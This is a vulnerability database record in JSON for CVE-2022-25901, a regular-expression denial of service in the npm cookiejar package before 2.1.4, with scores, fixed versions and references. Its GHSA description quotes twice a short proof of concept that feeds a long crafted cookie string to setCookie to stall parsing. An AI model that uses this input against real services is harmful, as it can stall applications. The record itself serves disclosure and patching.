{"id":"CVE-2022-25901","aliases":["DEBIAN-CVE-2022-25901","DLA-3561-1","EUVD-2023-0478","GHSA-h452-7996-h45h"],"status":"published","title":"cookiejar Regular Expression Denial of Service via Cookie.parse function","description":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.0159,"percentile":0.75863,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333"],"published":"2023-01-18T05:00:01Z","modified":"2026-10-15T08:01:46Z","fixes":[{"ecosystem":"npm","package":"cookiejar","fixed_in":["2.1.4"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"node-cookiejar","fixed_in":["2.1.4+~2.1.2-1"],"sources":["osv"]},{"ecosystem":"Debian:13","package":"node-cookiejar","fixed_in":["2.1.4+~2.1.2-1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-cookiejar","fixed_in":["2.1.4+~2.1.2-1"],"sources":["osv"]},{"ecosystem":"Debian:10","package":"node-cookiejar","fixed_in":["2.0.1-1+deb10u1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"cookiejar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"org.webjars.npm:cookiejar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1.3"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"node-cookiejar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4+~2.1.2-1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"node-cookiejar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4+~2.1.2-1"}]}]},{"source":"osv","ecosystem":"Debian:14","package":"node-cookiejar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.4+~2.1.2-1"}]}]},{"source":"osv","ecosystem":"Debian:10","package":"node-cookiejar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.1-1+deb10u1"}]}],"versions":["2.0.1-1"]},{"source":"osv","ecosystem":"npm","package":"cookiejar","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.1.4"}]}]},{"source":"osv","ecosystem":"Maven","package":"org.webjars.npm:cookiejar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.1.3"}]}],"versions":["2.0.6","2.1.0","2.1.1","2.1.2","2.1.3"]}],"products":[{"vendor":"cookiejar_project","product":"cookiejar"}],"references":[{"url":"https://security.snyk.io/vuln/SNYK-JS-COOKIEJAR-3149984","tags":["x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3176681","tags":["x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js%23L73","tags":["x_transferred","Broken Link","web"]},{"url":"https://github.com/bmeck/node-cookiejar/pull/39","tags":["x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://github.com/bmeck/node-cookiejar/pull/39/commits/eaa00021caf6ae09449dde826108153b578348e5","tags":["x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://lists.debian.org/debian-lts-announce/2023/09/msg00008.html","tags":["x_transferred","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25901","tags":["advisory"]},{"url":"https://github.com/bmeck/node-cookiejar/blob/master/cookiejar.js#23L73","tags":["web"]},{"url":"https://github.com/advisories/GHSA-h452-7996-h45h"},{"url":"https://security-tracker.debian.org/tracker/CVE-2022-25901","tags":["advisory"]},{"url":"https://github.com/bmeck/node-cookiejar","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2022-25901","description":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.","status":"published","published":"2023-01-18T05:00:01.282Z","modified":"2025-04-03T19:33:00.36Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P","level":"medium","assessor":"cna"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:34:28.374916Z"}],"euvd":[{"id":"EUVD-2023-0478","description":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.","status":"published","published":"2023-01-18T05:00:01Z","modified":"2025-04-03T19:33:00Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L/E:P","level":"medium"}],"updated_at":"2026-11-02T20:52:42.939917Z"}],"ghsa":[{"id":"GHSA-h452-7996-h45h","title":"cookiejar Regular Expression Denial of Service via Cookie.parse function","description":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.\n\nProof of concept:\n\n```\nts\\nconst { CookieJar } = require(\"cookiejar\");\n\nconst jar = new CookieJar();\n\nconst start = performance.now();\n\nconst attack = \"a\" + \"t\".repeat(50_000);\njar.setCookie(attack);\n\nconsole.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);\n\n```\n\n```\nCookieJar.setCookie(): 2963.214399999939ms\n```","status":"published","published":"2023-01-18T06:31:03Z","modified":"2025-02-13T18:36:36Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:38:30.754382Z"}],"nvd":[{"id":"CVE-2022-25901","description":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.","status":"published","published":"2023-01-18T05:15:11.86Z","modified":"2026-06-17T04:34:28.183Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:07:35.157734Z"}],"osv":[{"id":"CVE-2022-25901","description":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.","status":"published","published":"2023-01-18T05:15:11.86Z","modified":"2026-03-14T11:29:24.428543Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:44:24.758293Z"},{"id":"DEBIAN-CVE-2022-25901","description":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.","status":"published","published":"2023-01-18T05:15:11.86Z","modified":"2026-11-03T08:02:47.358556422Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T08:24:39.643572Z"},{"id":"GHSA-h452-7996-h45h","title":"cookiejar Regular Expression Denial of Service via Cookie.parse function","description":"Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.\n\nProof of concept:\n\n```\nts\\nconst { CookieJar } = require(\"cookiejar\");\n\nconst jar = new CookieJar();\n\nconst start = performance.now();\n\nconst attack = \"a\" + \"t\".repeat(50_000);\njar.setCookie(attack);\n\nconsole.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);\n\n```\n\n```\nCookieJar.setCookie(): 2963.214399999939ms\n```","status":"published","published":"2023-01-18T06:31:03Z","modified":"2025-02-13T19:03:25.062781Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:48.546324Z"},{"id":"DLA-3561-1","title":"node-cookiejar - security update","status":"published","published":"2023-09-11T00:00:00Z","modified":"2026-03-09T01:20:23.216162Z","updated_at":"2026-11-02T15:46:11.734021Z"}]}}